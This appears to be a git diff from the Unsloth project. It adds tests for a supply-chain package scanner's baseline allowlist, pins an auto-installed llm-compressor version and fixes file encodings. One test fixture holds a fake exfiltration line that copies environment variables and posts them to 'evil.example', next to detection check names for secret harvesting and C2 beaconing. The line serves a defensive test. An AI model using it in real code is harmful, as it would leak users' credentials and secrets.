shifted = _mk(
|
||||
sp.CRITICAL,
|
||||
"fastapi",
|
||||
"fastapi/routing.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
"L640: while True:",
|
||||
)
|
||||
active4, suppressed4 = sp._partition_baseline([shifted], baseline)
|
||||
assert suppressed4 == [shifted] and active4 == []
|
||||
|
||||
|
||||
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
|
||||
bl = tmp_path / "bl.json"
|
||||
|
|
@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():
|
|||
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
|
||||
|
||||
|
||||
def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
|
||||
# A malformed baseline whose "entries" is not a list must warn and fail
|
||||
# closed (empty), not raise TypeError when iterated.
|
||||
import json
|
||||
|
||||
bl = tmp_path / "bad_entries.json"
|
||||
bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
|
||||
assert sp._load_baseline(str(bl)) == set()
|
||||
assert "entries is not a list" in capsys.readouterr().err
|
||||
|
||||
|
||||
def test_committed_baseline_suppresses_known_but_not_a_new_payload():
|
||||
"""End-to-end against the shipped allowlist: a reviewed benign finding stays
|
||||
suppressed, but a NEW malicious payload in the same baselined file/check is
|
||||
not (closes the supply-chain bypass where a future botocore/utils.py payload
|
||||
rode the existing CRITICAL entry)."""
|
||||
import json
|
||||
|
||||
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
|
||||
entries = json.loads(baseline_path.read_text())["entries"]
|
||||
target = next(
|
||||
e
|
||||
for e in entries
|
||||
if e["package"] == "botocore"
|
||||
and e["file"] == "botocore/utils.py"
|
||||
and e["check"] == "Harvests environment variables/secrets AND makes network calls"
|
||||
)
|
||||
baseline = sp._load_baseline(str(baseline_path))
|
||||
|
||||
# The exact reviewed finding is suppressed.
|
||||
benign = _mk(
|
||||
target["severity"], target["package"], target["file"], target["check"], target["evidence"]
|
||||
)
|
||||
active, suppressed = sp._partition_baseline([benign], baseline)
|
||||
assert suppressed == [benign] and active == []
|
||||
|
||||
# A future malicious version: same file, same check, new exfil code. Must
|
||||
# remain ACTIVE so the enforcing gate (exit 1) still trips.
|
||||
malicious = _mk(
|
||||
target["severity"],
|
||||
target["package"],
|
||||
target["file"],
|
||||
target["check"],
|
||||
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
|
||||
)
|
||||
active2, suppressed2 = sp._partition_baseline([malicious], baseline)
|
||||
assert active2 == [malicious] and suppressed2 == []
|
||||
|
||||
|
||||
def test_committed_baseline_entries_all_carry_evidence_hash():
|
||||
"""Every shipped entry must pin an evidence_hash; an entry without one would
|
||||
silently fall back to the coarse legacy match for that file/check."""
|
||||
import json
|
||||
|
||||
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
|
||||
entries = json.loads(baseline_path.read_text())["entries"]
|
||||
assert entries, "committed baseline should not be empty"
|
||||
missing = [
|
||||
f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
|
||||
]
|
||||
assert not missing, f"entries missing evidence_hash: {missing[:5]}"
|
||||
# And each pinned hash matches a recompute from the stored evidence.
|
||||
for e in entries:
|
||||
assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
|
||||
|
||||
|
||||
# sdist fallback: cover sdist-only packages without building. All offline
|
||||
# -- PyPI JSON / download are mocked.
|
||||
|
||||
|
|
|
|||
|
|
@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []):
|
|||
return run_installer
|
||||
|
||||
|
||||
# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor
|
||||
# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and
|
||||
# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
|
||||
_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
|
||||
|
||||
|
||||
def install_llm_compressor():
|
||||
"""Import llm-compressor, installing it on first use for FP8/FP4 export.
|
||||
|
||||
Pins the current torch + transformers so pip does not upgrade them (a plain install pulls
|
||||
transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier).
|
||||
Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does
|
||||
not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install.
|
||||
Returns (oneshot, QuantizationModifier).
|
||||
"""
|
||||
try:
|
||||
from llmcompressor import oneshot
|
||||
|
|
@ -1376,9 +1383,24 @@ def install_llm_compressor():
|
|||
except Exception:
|
||||
pass
|
||||
|
||||
# Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one.
|
||||
if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in (
|
||||
"0",
|
||||
"",
|
||||
"false",
|
||||
"no",
|
||||
):
|
||||
raise RuntimeError(
|
||||
"Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not "
|
||||
"installed, and automatic installation is disabled via "
|
||||
"UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n"
|
||||
f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
|
||||
"(pin torch and transformers to your current versions to avoid upgrading them)."
|
||||
)
|
||||
|
||||
print(
|
||||
"Unsloth: Installing llm-compressor for FP8/FP4 export "
|
||||
"(pinning your torch + transformers so they are not upgraded). "
|
||||
f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). "
|
||||
"This can take a few minutes..."
|
||||
)
|
||||
import importlib
|
||||
|
|
@ -1401,13 +1423,13 @@ def install_llm_compressor():
|
|||
import importlib.util
|
||||
|
||||
if importlib.util.find_spec("pip") is not None:
|
||||
cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"]
|
||||
cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC]
|
||||
elif shutil.which("uv") is not None:
|
||||
cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"]
|
||||
cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC]
|
||||
else:
|
||||
raise RuntimeError(
|
||||
"Unsloth: cannot install llm-compressor because this environment has neither pip nor "
|
||||
f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n"
|
||||
f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
|
||||
"(pin torch and transformers to your current versions to avoid upgrading them)."
|
||||
)
|
||||
cpath = None
|
||||
|
|
@ -1421,8 +1443,8 @@ def install_llm_compressor():
|
|||
except subprocess.CalledProcessError as e:
|
||||
raise RuntimeError(
|
||||
"Unsloth: Failed to install llm-compressor. Install it manually with:\n"
|
||||
f" uv pip install --python {sys.executable} llmcompressor\n"
|
||||
f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n"
|
||||
f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
|
||||
f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n"
|
||||
"(pin torch and transformers to your current versions to avoid upgrading them).\n"
|
||||
f"Underlying error: {e}"
|
||||
)
|
||||
|
|
|
|||
|
|
@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool:
|
|||
if not adapter_cfg_path.exists():
|
||||
return True
|
||||
|
||||
with open(adapter_cfg_path) as f:
|
||||
with open(adapter_cfg_path, encoding = "utf-8") as f:
|
||||
adapter_cfg = json.load(f)
|
||||
|
||||
training_method = adapter_cfg.get("unsloth_training_method")
|
||||
|
|
|
|||
|
|
@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None:
|
|||
os.chmod(tmp_path, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
with os.fdopen(fd, "w") as f:
|
||||
with os.fdopen(fd, "w", encoding = "utf-8") as f:
|
||||
fd = -1
|
||||
f.write(secret)
|
||||
os.replace(tmp_path, path)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue